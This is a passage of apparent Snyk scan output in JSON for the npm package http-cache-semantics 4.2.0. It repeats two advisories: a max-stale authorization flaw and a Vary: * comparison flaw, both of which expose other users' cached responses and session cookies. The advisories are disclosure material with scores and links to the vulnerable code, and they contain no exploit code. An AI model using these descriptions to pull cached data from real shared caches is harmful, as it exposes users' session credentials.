"baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- 